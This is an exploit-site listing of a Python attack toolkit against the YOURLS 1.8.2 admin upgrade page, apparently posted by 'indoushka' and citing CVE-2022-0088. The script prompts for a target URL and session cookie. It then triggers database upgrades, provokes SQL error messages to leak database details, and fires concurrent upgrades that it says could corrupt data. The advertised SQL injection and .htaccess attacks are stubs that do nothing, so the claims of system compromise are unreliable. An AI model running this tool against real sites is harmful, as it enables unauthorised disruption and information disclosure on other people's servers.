Share
## https://sploitus.com/exploit?id=PACKETSTORM:212670
=============================================================================================================================================
    | # Title     : YOURLS 1.8.2 SQL Injection & System Compromise in Administrative Upgrade Functions                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/yourls/yourls/                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212395/ & 	CVE-2022-0088
    
    [+] Summary : Critical security vulnerabilities discovered in YOURLS upgrade module (/admin/upgrade.php) 
                  that could allow attackers to execute arbitrary SQL commands, disclose sensitive database information, 
    			  and potentially compromise the entire YOURLS installation during upgrade processes.
    			 
    [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation			 
    			  
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import time
    from urllib.parse import urljoin
    
    class YOURLS_Upgrade_Exploit:
        def __init__(self, target_url, session_cookie=None):
            self.base_url = target_url.rstrip('/')
            self.upgrade_url = urljoin(self.base_url, 'admin/upgrade.php')
            self.session = requests.Session()
            
            if session_cookie:
                self.session.headers.update({'Cookie': session_cookie})
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 YOURLS Upgrade',
                'Accept': 'text/html,application/xhtml+xml',
            })
        
        def trigger_upgrade(self, oldver="1.3", newver="1.8"):
            """Trigger upgrade process to exploit vulnerabilities"""
            print("[*] Triggering upgrade process...")
            
            params = {
                'step': '1',
                'oldver': oldver,
                'newver': newver,
                'oldsql': '100',
                'newsql': '506'
            }
            
            try:
                response = self.session.get(self.upgrade_url, params=params)
                
                if "Updating DB" in response.text or "Updating table structure" in response.text:
                    print("[+] Upgrade process triggered successfully")
                    return True
                else:
                    print("[-] Could not trigger upgrade")
                    return False
                    
            except Exception as e:
                print(f"[-] Error: {str(e)}")
                return False
        
        def sql_injection_upgrade_14(self, sql_payload):
            """Exploit SQL injection in yourls_update_table_to_14()"""
            print("[*] Attempting SQL injection during v1.3 to v1.4 upgrade...")
            
            # We need to control $url parameter in the update query
            # The vulnerable line: "UPDATE `$table` SET `keyword` = '$newkeyword' WHERE `url` = '$url';"
            
            # First, we need to know a valid URL from the database
            # Then inject via that URL
            
            # This is a blind injection - we need to be creative
            
            exploit_url = f"{self.upgrade_url}?step=2&oldver=1.3&newver=1.4&oldsql=100&newsql=200&from=0"
            
            # The attack requires:
            # 1. Knowing an existing URL in the database
            # 2. Injecting through that URL parameter
            # 3. Triggering the update process
            
            print("[!] Note: This requires prior knowledge of database contents")
            return False
        
        def exploit_redirect_injection(self, redirect_url):
            """Exploit insecure redirects in upgrade process"""
            print("[*] Attempting redirect injection...")
            
            # Craft malicious upgrade parameters
            params = {
                'step': '3',
                'oldver': '1.7',
                'newver': '1.8',
                'oldsql': '505',
                'newsql': '506'
            }
            
            # The vulnerable code path:
            # yourls_upgrade() โ†’ yourls_redirect_javascript() with user-controlled parameters
            
            response = self.session.get(self.upgrade_url, params=params)
            
            # Look for JavaScript redirects
            if "location.href" in response.text or "window.location" in response.text:
                print("[+] Found JavaScript redirects - potential injection point")
                
                # We need to control the redirect URL
                # This would require manipulating upgrade parameters or session
                
                return True
            
            return False
        
        def information_disclosure(self):
            """Trigger error messages to reveal database information"""
            print("[*] Triggering information disclosure...")
            
            # Trigger SQL errors by providing invalid parameters
            params = {
                'step': '1',
                'oldver': 'invalid',
                'newver': '1.8',
                'oldsql': 'invalid',
                'newsql': '506'
            }
            
            try:
                response = self.session.get(self.upgrade_url, params=params)
                
                error_indicators = [
                    'SQLSTATE',
                    'MySQL',
                    'syntax error',
                    'Duplicate entry',
                    'database',
                    'table',
                    'column'
                ]
                
                for indicator in error_indicators:
                    if indicator in response.text:
                        print(f"[+] Information disclosure: Found '{indicator}' in response")
                        
                        # Extract error details
                        lines = response.text.split('\n')
                        for line in lines:
                            if indicator in line:
                                print(f"    โ†’ {line.strip()[:100]}")
                        
                        return True
                        
            except Exception as e:
                print(f"[-] Error: {str(e)}")
            
            return False
        
        def exploit_htaccess_write(self, malicious_content):
            """Attempt to write malicious .htaccess content"""
            print("[*] Attempting .htaccess manipulation...")
            
            # The vulnerable function: yourls_clean_htaccess_for_14()
            # and yourls_create_htaccess()
            
            # We need to trigger the v1.3 โ†’ v1.4 upgrade path
            params = {
                'step': '1',
                'oldver': '1.3',
                'newver': '1.4',
                'oldsql': '100',
                'newsql': '200'
            }
            
            response = self.session.get(self.upgrade_url, params=params)
            
            if "htaccess" in response.text.lower():
                print("[+] .htaccess manipulation functions triggered")
                print("[!] Note: Full exploitation requires file write permissions")
                
            return False
        
        def race_condition_exploit(self):
            """Exploit race conditions during concurrent upgrades"""
            print("[*] Testing for race condition vulnerabilities...")
            
            # The upgrade process doesn't prevent concurrent executions
            # We can trigger multiple upgrades simultaneously
            
            import threading
            
            def trigger_upgrade_thread():
                params = {
                    'step': '1',
                    'oldver': '1.7',
                    'newver': '1.8',
                    'oldsql': '505',
                    'newsql': '506'
                }
                self.session.get(self.upgrade_url, params=params, timeout=30)
            
            # Launch multiple concurrent upgrades
            threads = []
            for i in range(5):
                t = threading.Thread(target=trigger_upgrade_thread)
                threads.append(t)
                t.start()
            
            print("[+] Launched 5 concurrent upgrade attempts")
            print("[!] This could cause database corruption or inconsistent state")
            
            return True
    
    def main():
        target = input("Enter target YOURLS URL (e.g., http://example.com): ").strip()
        cookie = input("Enter session cookie (optional, press enter to skip): ").strip()
        
        exploit = YOURLS_Upgrade_Exploit(target, cookie if cookie else None)
        
        print("\n" + "="*60)
        print("YOURLS Upgrade Module Exploitation Toolkit")
        print("="*60 + "\n")
        
        print("Select exploit option:")
        print("1. Trigger upgrade process")
        print("2. Test for information disclosure")
        print("3. Test for race conditions")
        print("4. Full vulnerability scan")
        print("5. Exit")
        
        choice = input("\nEnter choice (1-5): ").strip()
        
        if choice == '1':
            if exploit.trigger_upgrade():
                print("[+] Upgrade triggered - check for SQL errors")
        
        elif choice == '2':
            exploit.information_disclosure()
        
        elif choice == '3':
            exploit.race_condition_exploit()
        
        elif choice == '4':
            print("\n[*] Running full vulnerability scan...")
            exploit.trigger_upgrade()
            time.sleep(2)
            exploit.information_disclosure()
            time.sleep(1)
            exploit.race_condition_exploit()
        
        elif choice == '5':
            print("[*] Exiting...")
            sys.exit(0)
        
        else:
            print("[-] Invalid choice")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================